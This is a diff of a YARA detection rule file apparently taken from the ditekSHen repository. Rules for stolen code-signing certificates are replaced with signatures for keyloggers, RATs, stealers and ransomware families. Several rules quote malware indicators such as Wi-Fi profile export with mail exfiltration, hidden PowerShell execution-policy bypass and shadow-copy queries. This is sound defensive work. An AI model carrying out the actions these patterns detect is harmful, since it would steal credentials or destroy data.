 		tags = "FILE"
-		thumbprint = "23c446940a9cdc9f502b92d7928e3b3fde6d3735"
-		importance = 20
+		snort2_sid = "920122"
+		snort3_sid = "920119"
+
+	strings:
+		$s1 = "totallist" fullword ascii wide
+		$s2 = "LINKS_HERE" fullword wide
+		$s3 = "[SPLITTER]" fullword wide
+		$var2_1 = "DownloadWeb" fullword ascii
+		$var2_2 = "WriteByte" fullword ascii
+		$var2_3 = "MemoryStream" fullword ascii
+		$var2_4 = "DownloadString" fullword ascii
+		$var2_5 = "WebClient" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SLIM DOG GROUP SP Z O O" and pe.signatures[i].serial=="0d:dc:e8:cd:c9:1b:5b:64:9b:b4:b4:5f:fb:ba:6c:6c")
+		uint16(0)==0x5a4d and (( all of ($s*) and 2 of ($var2*)) or (4 of ($var2*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4Af27Cd14F5C809Eec1F46E483F03898 : FILE
+rule DITEKSHEN_MALWARE_Win_PWSH_Poshkeylogger
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PowerShell PoshKeylogger"
 		author = "ditekSHen"
-		id = "e7bbc10b-54fc-5950-99fc-80a459406780"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a816d716-caeb-5f08-9043-29db531f9e7c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2651-L2662"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4612-L4627"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0297f156d1e4d1c20143953759000b286ac9e1f8864aa511e0e2f8fa5c3eac7f"
+		logic_hash = "20bde87ded7e3b68bc554c4b9a6c2ef08514f0d47b6b144763927bede81ea540"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "5fa9a98f003f2680718cbe3a7a3d57d7ba347ecb"
-		importance = 20
+		tags = ""
+
+	strings:
+		$s1 = "::GetKeyboardState" ascii
+		$s2 = "GetAsyncKeyState(" ascii
+		$s3 = "::MapVirtualKey(" ascii
+		$s4 = "::GetAsyncKeyState" ascii
+		$s5 = "Start-Sleep" ascii
+		$s6 = "send-mailmessage" ascii
+		$s7 = "[System.IO.File]::AppendAllText($" ascii
+		$s8 = "new-object Management.Automation.PSCredential $" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DAhan Advertising planning" and pe.signatures[i].serial=="4a:f2:7c:d1:4f:5c:80:9e:ec:1f:46:e4:83:f0:38:98")
+		6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_105765998695197De4109828A68A4Ee0 : FILE
+rule DITEKSHEN_MALWARE_Win_Fujinamarat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects FujinamaRAT"
 		author = "ditekSHen"
-		id = "97a4bad1-9b84-54e3-a1c2-6d01bd4cde4c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f6b08713-1c03-5914-b0a2-ea9164a3f2cb"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2664-L2675"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4629-L4645"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c251f28eec6f93522f5a3706e1abcfd892affa2b36ed84ec277dc0d4716ff667"
+		logic_hash = "42557094afe67196442f46d76f156c09852d694bcc5f03eac51e79ad247c2fdd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5ddae14820d6f189e637f90b81c4fdb78b5419dc"
-		importance = 20
+		snort2_sid = "920124"
+		snort3_sid = "920121"
+
+	strings:
+		$s1 = "GetAsyncKeyState" fullword ascii
+		$s2 = "HTTP/1.0" fullword wide
+		$s3 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" fullword wide
+		$s4 = "frmMain" fullword ascii
+		$s5 = "G<=>?@ABGGGGGGGGGGGGGGGGGGGGGGGGGGCDEF" fullword ascii
+		$s6 = "VBA6.DLL" fullword ascii
+		$s7 = "t_save" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cryptonic ApS" and pe.signatures[i].serial=="10:57:65:99:86:95:19:7d:e4:10:98:28:a6:8a:4e:e0")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_53F575F7C33Ee007887F30680486Db5E : FILE
+rule DITEKSHEN_MALWARE_Win_Phorpiex : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Phorpiex variants"
 		author = "ditekSHen"
-		id = "8353ac89-1d98-5b05-a851-50d9e42f8f74"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e2d26c5f-939e-53e3-8730-622341d26273"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2677-L2688"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4647-L4666"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "050d8c4dcb80cd637981c208c6d1316e9933d4f06bbf8af3717d2205a4f84f6d"
+		logic_hash = "4c48a20aaf37d65471710181238d2c39c1cb0fc5a37b9c411e8d4dcfd7a9e26e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a42d8f60663dd86265e566f33d0ed5554e4c9a50"
-		importance = 20
+
+	strings:
+		$s1 = "ShEllExECutE=__\\DriveMgr.exe" fullword wide nocase
+		$s2 = "/c start __ & __\\DriveMgr.exe & exit" fullword wide nocase
+		$s3 = "%s\\autorun.inf" fullword wide
+		$s4 = "svchost." wide
+		$s5 = "%ls\\%d%d" wide
+		$s6 = "bitcoincash:" ascii
+		$s7 = "%ls:*:Enabled:%ls" fullword wide
+		$s8 = "%s\\%s\\DriveMgr.exe" fullword wide
+		$s9 = "api.wipmania.com" ascii
+		$v1_1 = "%appdata%" fullword wide
+		$v1_2 = "(iPhone;" ascii
+		$v1_3 = "/tst.php" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RET PTY. LTD." and pe.signatures[i].serial=="53:f5:75:f7:c3:3e:e0:07:88:7f:30:68:04:86:db:5e")
+		uint16(0)==0x5a4d and (5 of ($s*) or all of ($v1*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7E89B9Df006Bd1Aa4C48D865039634Ca : FILE
+rule DITEKSHEN_MALWARE_Win_EXEPWSH_Dlagent : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SystemBC"
 		author = "ditekSHen"
-		id = "aa208da9-06e2-5bf5-8453-a545c640efa7"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f5e7490f-806c-52d2-8f1c-9e00ab3e2780"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2690-L2701"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4668-L4687"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "825e4b69aec565b6ef6b4ac2394f5a562a84615e3c91331934fa378152635df4"
+		logic_hash = "6380359db1ac775cea3ebb93f7cf22a92d2f2e634c6aa724e2814c10d4ed42f5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "63ad44acaa7cd7f8249423673fbf3c3273e7b2dc"
-		importance = 20
+
+	strings:
+		$pwsh = "powershell" fullword ascii
+		$bitstansfer = "Start-BitsTransfer" ascii wide
+		$s1 = "GET %s HTTP/1" ascii
+		$s2 = "User-Agent:" ascii
+		$s3 = "-WindowStyle Hidden -ep bypass -file \"" fullword ascii
+		$s4 = "LdrLoadDll" fullword ascii
+		$v1 = "BEGINDATA" fullword ascii
+		$v2 = /HOST\d:/ ascii
+		$v3 = /PORT\d:/ ascii
+		$v4 = "TOR:" fullword ascii
+		$v5 = "Fwow64" fullword ascii
+		$v6 = "start" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dummy" and pe.signatures[i].serial=="7e:89:b9:df:00:6b:d1:aa:4c:48:d8:65:03:96:34:ca")
+		uint16(0)==0x5a4d and (($pwsh and ($bitstansfer or 2 of ($s*))) or (5 of ($v*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Ddeb53F957337Fbeaf98C4A615B149D : FILE
+rule DITEKSHEN_MALWARE_Win_Hdlocker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects HDLocker ransomware"
 		author = "ditekSHen"
-		id = "13347f66-c726-59be-9d0e-871512335bbd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "03ada32b-6ef5-5600-954b-e9f430c6ff2d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2703-L2714"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4689-L4703"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4932dcea41879fd29250456cfef7a32a1303f599adbd4b61d91cb2e7e22cf5a2"
+		logic_hash = "337678a4a780947841a19c401601f1be7218276c8d4161229567dc4d6026b16a"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "91cabea509662626e34326687348caf2dd3b4bba"
-		importance = 20
+
+	strings:
+		$s1 = "HDLocker_" fullword ascii
+		$s2 = ".log" fullword ascii
+		$s3 = "Scripting.FileSystemObject" fullword ascii
+		$s4 = "Boot" fullword ascii
+		$s5 = "hellwdo" fullword ascii
+		$s6 = "blackmoon" fullword ascii
+		$s7 = "BlackMoon RunTime Error:" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Mozilla Corporation" and pe.signatures[i].serial=="0d:de:b5:3f:95:73:37:fb:ea:f9:8c:4a:61:5b:14:9d")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C88Af896B6452241Fe00E3Aaec11B1F8 : FILE
+rule DITEKSHEN_MALWARE_Win_Vovalex : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Vovalex ransomware"
 		author = "ditekSHen"
-		id = "4d73705a-e980-5aa0-a326-e35990226e37"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "967af585-8a91-5ed0-8400-a8a24d95fd12"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2716-L2727"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4705-L4718"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3a5f290f9479189ff83bf5da3a3d086453c9230311a48f4c0bd4654024ebeef8"
+		logic_hash = "ea695521981f4b007eee50e95f7989dda1f07cc411c59450489bb17391ff29dc"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9ce1cbf5be77265af2a22e28f8930c2ac5641e12"
-		importance = 20
+
+	strings:
+		$s1 = "README.VOVALEX.txt" fullword ascii
+		$s2 = "\\src\\phobos\\std\\" ascii
+		$s3 = "LoadLibraryA(\"Advapi32.dll\")" fullword ascii
+		$s4 = "Failed to spawn process \"" fullword ascii
+		$s5 = "=== Bypassed ===" fullword ascii
+		$s6 = "If you don't know where to buy" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TeamViewer Germany GmbH" and pe.signatures[i].serial=="00:c8:8a:f8:96:b6:45:22:41:fe:00:e3:aa:ec:11:b1:f8")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_09E015E98E4Fabcc9Ac43E042C96090D : FILE
+rule DITEKSHEN_MALWARE_Win_Dharma : FILE
 {
 	meta:
-		description = "Detects BestEncrypt commercial disk encryption and wiping software signing certificate"
+		description = "Detects Dharma ransomware"
 		author = "ditekSHen"
-		id = "577cff87-b676-598b-acea-e7c01df0ef15"
-		date = "2023-12-08"
-		modified = "2023-12-08"
-		reference = "https://blog.macnica.net/blog/2020/11/dtrack.html"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2729-L2742"
+		id = "070be95e-8d9c-5c4d-9d46-cddea6dbb682"
+		date = "2024-05-28"
+		modified = "2024-05-28"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4720-L4728"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "77f9f50c6dd862419edaa7c3fcee0ce3f607a5b7b939d7844969082ab9777bbf"
+		logic_hash = "2727b2c0295e32699e08c3c79d7ac6fd52f1520358ac23290d40df428c969f4b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "04e407118516053ff248503b31d6eec6daf4a809"
-		importance = 20
+
+	strings:
+		$s1 = "C:\\crysis\\Release\\PDB\\payload.pdb" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Jetico Inc. Oy" and pe.signatures[i].serial=="09:e0:15:e9:8e:4f:ab:cc:9a:c4:3e:04:2c:96:09:0d")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_118D813D830F218C0F46D4Fc : FILE
+rule DITEKSHEN_MALWARE_Win_Cryptolocker : FILE
 {
 	meta:
-		description = "Detects BestEncrypt commercial disk encryption and wiping software signing certificate"
+		description = "Detects Cryptolocker ransomware variants (Betarasite)"
 		author = "ditekSHen"
-		id = "b14b14c8-202d-533d-97dc-c6336ddf75c4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4c6d714d-1fb1-55ce-8022-40f6f634e2cd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2744-L2755"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4730-L4752"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3240504794394c06f050ef3eb5ef82e0b476e2bbeabfb394fc4646e98bc6e976"
+		logic_hash = "e1700e8ace338c25119305878e8bc52210506bd42183007985ba9601abdab87b"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "bd16f70bf6c2ef330c5a4f3a27856a0d030d77fa"
-		importance = 20
+
+	strings:
+		$x1 = "CryptoLocker" fullword wide
+		$x2 = ".betarasite" fullword wide
+		$x3 = "CMSTPBypass" fullword ascii
+		$s1 = "CommandToExecute" fullword ascii
+		$s2 = "SetInfFile" fullword ascii
+		$s3 = "SchoolPrject1" ascii
+		$s4 = "$730d5f64-bd57-47c1-9af4-d20aec714d02" fullword ascii
+		$s5 = "Encrypt" fullword ascii
+		$s6 = "Invalide Key! Please Try Again." fullword wide
+		$s7 = "RegAsm" fullword wide
+		$s8 = "Your key will be destroyed" wide
+		$s9 = "encrypted using RC4 and RSA-2048" wide
+		$c1 = "https://coinbase.com" fullword wide
+		$c2 = "https://localbictoins.com" fullword wide
+		$c3 = "https://bitpanda.com" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Shang Hai Shen Wei Wang Luo Ke Ji You Xian Gong Si" and pe.signatures[i].serial=="11:8d:81:3d:83:0f:21:8c:0f:46:d4:fc")
+		uint16(0)==0x5a4d and ( all of ($x*) or all of ($s*) or (2 of ($x*) and 5 of ($s*)) or ( all of ($c*) and 1 of ($x*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2304Ecf0Ea2B2736Beddd26A903Ba952 : FILE
+rule DITEKSHEN_MALWARE_Win_PWSH_Poshwifistealer
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PowerShell PoshWiFiStealer"
 		author = "ditekSHen"
-		id = "3e064799-2333-5d10-8841-8d0a44ad9c1b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "69ac123d-b746-57f1-a488-547f9a9cdd86"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2757-L2768"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4754-L4765"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c10695440ec4e39cf5b51c926ceeacc13caf3a58006c64b0168a04b4755978a6"
+		logic_hash = "769349360b5d22226a5339a9e8471d06731dc522475c9385c1c145a0488e0ad1"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "d59a63e230cef77951cb73a8d65576f00c049f44"
-		importance = 20
+		tags = ""
+
+	strings:
+		$s1 = "netsh wlan export profile" ascii
+		$s2 = "Send-MailMessage" ascii
+		$u1 = "https://github.com/axel05869/Wifi-Grab" ascii
+		$u2 = "/exploitechx/wifi-password-extractor" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE6\\x88\\x90\\xE9\\x83\\xBD\\xE5\\x90\\x89\\xE8\\x83\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE8\\xB4\\xA3\\xE4\\xBB\\xBB\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures[i].serial=="23:04:ec:f0:ea:2b:27:36:be:dd:d2:6a:90:3b:a9:52")
+		all of ($s*) or all of ($u*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4D78E90E0950Fc630000000055657E1A : FILE
+rule DITEKSHEN_MALWARE_Win_Steamhook : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects potential Steam stealer"
 		author = "ditekSHen"
-		id = "bb48d309-e7b8-5c39-b989-cce4093b2082"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7533fb83-d721-54e6-8ae1-1c840dd5a13d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2770-L2781"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4767-L4781"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c2a3714173defa7b8e97ea92f8f85fb47011099bdc24067aafa273ebdd282f0f"
+		logic_hash = "da743ca99fd19828e3938875acaf6544f17d884587a59623c8361f5905af4a57"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "fd010fdee2314f5d87045d1d7bf0da01b984b0fe"
-		importance = 20
+
+	strings:
+		$s1 = "Mozilla/4.0 (compatible; )" fullword ascii
+		$s2 = "/steam/upload.php" ascii
+		$s3 = ".*?(ssfn\\d+)" fullword ascii
+		$s4 = "add cookie failed..." fullword ascii
+		$s5 = "Content-Type: multipart/form-data; boundary=--MULTI-PARTS-FORM-DATA-BOUNDARY" fullword ascii
+		$pdb1 = "\\SteamHook\\Install\\" ascii
+		$pdb2 = "\\SteamHook\\dll\\" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Telus Health Solutions Inc." and pe.signatures[i].serial=="4d:78:e9:0e:09:50:fc:63:00:00:00:00:55:65:7e:1a")
+		uint16(0)==0x5a4d and ( all of ($s*) or all of ($pdb*) or (1 of ($pdb*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0092Bc051F1811Bb0B86727C36394F7849 : FILE
+rule DITEKSHEN_MALWARE_Win_Netwire : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects NetWire RAT"
 		author = "ditekSHen"
-		id = "9ffef880-ed00-54a7-8eb2-995c5c4e74f1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c215f449-c725-51da-8f5b-2619bc282b22"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2783-L2794"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4783-L4805"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bdf847f95bc6cc50513b76c57c3e76bc17caacd3419baabb2cab0161feb67508"
+		logic_hash = "bae4f0cd7a431336bd784ba95f6ba3396e6f0f12c081e62482ad37ff859c1f1c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d1f9930521e172526a9f018471d4575d60d8ad8f"
-		importance = 20
+
+	strings:
+		$x1 = "SOFTWARE\\NetWire" fullword ascii
+		$x2 = { 4e 65 74 57 69 72 65 00 53 4f 46 54 57 41 52 45 5c 00 }
+		$s1 = "User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
+		$s2 = "filenames.txt" fullword ascii
+		$s3 = "GET %s HTTP/1.1" fullword ascii
+		$s4 = "[%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
+		$s5 = "Host.exe" fullword ascii
+		$s6 = "-m \"%s\"" fullword ascii
+		$g1 = "HostId" fullword ascii
+		$g2 = "History" fullword ascii
+		$g3 = "encrypted_key" fullword ascii
+		$g4 = "Install Date" fullword ascii
+		$g5 = "hostname" fullword ascii
+		$g6 = "encryptedUsername" fullword ascii
+		$g7 = "encryptedPassword" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MISTO EKONOMSKE STORITVE, d.o.o." and pe.signatures[i].serial=="00:92:bc:05:1f:18:11:bb:0b:86:72:7c:36:39:4f:78:49")
+		uint16(0)==0x5a4d and ( all of ($s*) or all of ($x*) or (1 of ($x*) and 2 of ($s*)) or ( all of ($g*) and (2 of ($s*) or 1 of ($x*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_B4F42E2C153C904Fda64C957Ed7E1028 : FILE
+rule DITEKSHEN_MALWARE_Win_Breakstaf : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BreakStaf ransomware"
 		author = "ditekSHen"
-		id = "d284b7f0-9728-5755-87d5-f8251903e778"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3c8ca485-2cb4-56fd-a1f5-16b43515cec9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2796-L2807"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4807-L4827"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d47f85602234eae7629b778b09ed5c3656c6afa8b6a7ba42cc46f451202a16c0"
+		logic_hash = "56078b797c64ce77398f9b92e5677f7159d8357eafb03cf62bb30f06d4f3b2e3"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "ed4c50ab4f173cf46386a73226fa4dac9cadc1c4"
-		importance = 20
+
+	strings:
+		$s1 = "C:\\Program files" wide
+		$s2 = "C:\\Program files (x86)" wide
+		$s3 = "C:\\System Volume Information" wide
+		$s4 = "C:\\$Recycle.Bin" wide
+		$s5 = "C:\\Windows" wide
+		$s6 = ".?AVRandomNumberGenerator@Crypto" ascii
+		$s7 = ".?AV?$SymmetricCipherFinal@" ascii
+		$s8 = ".breakstaf" fullword wide nocase
+		$s9 = "readme.txt" fullword wide nocase
+		$s10 = ".VHD" fullword wide nocase
+		$s11 = ".vhdx" fullword wide nocase
+		$s12 = ".BAK" fullword wide nocase
+		$s13 = ".BAC" fullword wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NONO spol. s r.o." and pe.signatures[i].serial=="b4:f4:2e:2c:15:3c:90:4f:da:64:c9:57:ed:7e:10:28")
+		uint16(0)==0x5a4d and 12 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ac307E5257Bb814B818D3633B630326F : FILE
+rule DITEKSHEN_MALWARE_Win_Kitty : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects HelloKitty ransomware, triggers on FIVEHANDS"
 		author = "ditekSHen"
-		id = "b6d6c195-cd02-5ecd-82f3-348ab6f26eb5"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4147294a-7eff-595a-ad4f-8a84ffff960f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2809-L2820"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4829-L4847"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f187d3084eb189cdd0e858aed1d9589d586f369b128679c6c1dec860e544f326"
+		logic_hash = "3a36755c81ec70c127bb73448fc29325444b85b5f0704327fc81975c2af2e99e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4d6a089ec4edcac438717c1d64a8be4ef925a9c6"
-		importance = 20
+
+	strings:
+		$s1 = "Kitty" wide
+		$s2 = "-path" fullword wide
+		$s3 = "select * from Win32_ShadowCopy" fullword wide
+		$s4 = "Win32_ShadowCopy.ID='%s'" fullword wide
+		$s5 = "programdata" fullword wide
+		$s6 = "$recycle.bin" fullword wide
+		$s7 = ".crypt" fullword wide
+		$s8 = "%s/secret/%S" wide
+		$s9 = "decrypts3nln3tic.onion" wide
+		$n1 = "read_me_lkd.txt" wide
+		$n2 = "DECRYPT_NOTE.txt" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Aqua Direct s.r.o." and pe.signatures[i].serial=="00:ac:30:7e:52:57:bb:81:4b:81:8d:36:33:b6:30:32:6f")
